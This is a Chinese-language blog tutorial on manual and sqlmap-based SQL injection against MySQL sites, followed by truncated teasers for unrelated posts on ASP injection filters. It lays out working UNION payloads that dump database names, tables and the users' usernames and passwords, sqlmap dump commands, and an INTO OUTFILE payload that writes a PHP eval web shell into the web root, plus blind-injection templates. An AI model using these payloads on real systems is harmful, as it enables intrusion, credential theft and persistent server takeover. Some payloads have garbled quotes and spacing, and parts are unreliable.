通用Sql注入

2021-10-06 06:19:10 字數 4739 閱讀 1569

通用sql注入

通常判斷是否有sql注入點用單引號

一.通用的sql注入漏洞分為兩種型別:

數字型

數字型判斷:and 1=1 和and 1=2

字元型

字元型判斷:and 『1』=』1』 和and 『1』=』2

二.猜測字段(表的列數)

order by 任意數字

三.用union查詢語句查詢報錯回顯位置

?id=-1』 union select (表的列數) %23(注釋符)

四.查詢

system_user() 系統使用者名稱

user() 使用者名稱

current_user 當前使用者名稱

session_user()連線資料庫的使用者名稱

database() 資料庫名

version() mysql資料庫版本

load_file() mysql讀取本地檔案的函式

@@datadir 讀取資料庫路徑

@@basedir mysql 安裝路徑

@@version_compile_os 作業系統

多條資料顯示函式:

concat()

group_concat()

concat_ws()

五. 常規查詢(數字型):

?id=-1』 and1=2 union select 1,version(),database() %23

或?id= -1』 and 1=2 union select 1,version(),database() %23

?id=-1』 and 1=2 union select 1,2,group_concat (table_name) from

information_schema.tables where table_schema =』資料庫名』 ; %23

union select 1,(select group_concat(schema_name) from

information_schema.schemata),3 %23(檢視庫里所有表名)

union select 1,2,(select group_concat(table_name) from information_schema.tables

where table_schema=『security』)

(查詢表名)

?id=-1』 and 1=2union select 1,2,group_concat(column_name) from

information_schema. columns where table_name=』user』; %23

union select 1,2,(select group_concat(column_name) from

information_schema.columns where table_name=『users』)

(爆列名)

?id=-1』 and 1=2 union select 1,(select group_concat(password) from

security.users) ,(select group_concat(username) from security.users) %23

(爆使用者名稱和密碼)

注意:閉合方式,一定要閉合!

如:『$id』 有單引號 則?id=1』

$id 無單引號 則?id=1

(『$id』) 有單引號,有括號 則?id=1』)

(「$id」) 有雙引號,有括號 則?id=1」)

用sqlmap查詢,手工注入麻煩!

sqlmap常用引數:

-u : 指定目標url,sql注入點

–cookie : 當前會話的cookie值

-b : 獲取資料庫型別 檢索資料庫管理系統的標識

(dbms:database management system 資料庫管理系統)

–current-db : 獲取當前資料庫

–current-user :獲取當前登入資料庫使用的使用者

windows裡:

sqlmap.py -u 「 --batch -crawl=3

sqlmap.py -u 「 --batch –dbs

sqlmap.py -u 「 -p id -current-db

sqlmap.py -u 「 -p id -d security

–tables

sqlmap.py -u 「 -p id -d security -t

users –columns

sqlmap.py -u 「 -p id -d security -t

users -c username,password –dump

資料庫的file許可權規定了資料庫使用者是否有許可權向作業系統內寫入和讀取已存在的許可權。

資料庫file許可權向作業系統寫入檔案時, 對於相同檔名的檔案不能覆蓋,所以如果第一次上傳chao.php,下次在上傳chao.php,就是無效命令了,也就是新的chao,php中的內容並不會覆蓋,之前的chao.php

outfile的固定結構是:select a into outfile

b,這裡的b通常是乙個檔案路徑,a可以是文字內容(小馬),也可以是資料庫資訊

**第一種思路:**遇到這種注入點,首先需要判斷是否為最高許可權,and(select

count(*)from mysql.user)>0回顯正常說明是最高許可權。

構造select*from users into outfile 「資料庫匯出資料目錄」

eg:union select*from users into outfile 「c:\\data.txt」%23

注意:mysql資料庫需要在指定的目錄下進行資料的匯出,secure_file_priv這個引數用來限制資料匯入和匯出操作的效果,例如執行load

data、select … into

outfile語句和load_file()函式。這些操作需要使用者具有file許可權。

如果這個引數為空,這個變數沒有效果;

如果這個引數設為乙個目錄名,mysql服務只允許在這個目錄中執行檔案的匯入和匯出操作。這個目錄必須存在,mysql服務不會建立它;

如果這個引數為null,mysql服務會禁止匯入和匯出操作。這個引數在mysql

5.7.6版本引入。

第二種思路:

上傳一句話木馬:

@@datadir 讀取資料庫路徑

@@basedir mysql 獲取安裝路徑

構造payload:union select 1,"<?php @eval($_post[『chopper』]);?>",3 into

outfile "c:\\phpstudy\\phptutorial\\www\\123456.php

布林盲注:檢視現象能報錯,但無報錯資訊,正確查詢也顯示不了查詢內容

1.布林型單引號get盲注(加入單引號報錯 單引號後面加入注釋返回正常)

盲注主要分為bool型和時間性,通常涉及到這幾個函式:

length(str):返回字串str的長度

substr(str,pos,len):將str從pos位置開始擷取len長度的字元返回,需要注意的是這裡pos的是從1開始的

mid(str,pos,len):和substr()類似

ascii(str):返回字串str最左邊的acsii碼(即首字母的acsii碼)

ord():同上,返回acsii碼

left(str,len):對字串str左擷取len長度

right(str,len):對字串str右擷取len長度

if(a,b,c):條件判斷,如果a為true,返回b,否則返回c

盲注有個固定式:and ascii(substr(a,1,1))>b

或者and if(ascii(substr(a,1,1))>b,1,0),

這裡的a通常是乙個select語句,b則是字元或數字的ascii碼,他們的中心思想都是通過substr等擷取函式以二分法的形式查詢逐個匹配想要的資訊,這個過程通常都很耗時,所以建議直接寫個盲註腳本來跑

eg:and ascii(substr((select table_name from information_schema.tables where

table_schema=database() limit 0,1)1,1))>100 %23

ASP 防 SQL 注入攻擊通用程式

sql 注入被那些菜鳥級別的所謂黑客高手玩出了滋味,發現現在大部分黑客入侵都是基於sql注入實現的,哎,誰讓這個入門容易呢,好了,不說廢話了,現在我開始說如果編寫通用的sql防注入程式一般的http請求不外乎get 和 post,所以只要我們在檔案中過濾所有 post 或者 get 請求中的引數資訊...

編寫通用的ASP防SQL注入程式

sql注入被那些菜鳥級別的所謂黑客高手玩出了滋味,發現現在大部分黑客入侵都是基於sql注入實現的,哎,誰讓這個入門容易呢,好了,不說廢話了,現在我開始說如果編寫通用的sql防注入程式一般的http請求不外乎get 和 post,所以只要我們在檔案中過濾所有post或者get請求中的引數資訊中非法字元...

SQL通用防注入程式 完美版

fy inf split fy in,post部份 if request.form then for each fy post in request.form for fy xh 0 to ubound fy inf if instr lcase request.form fy post fy in...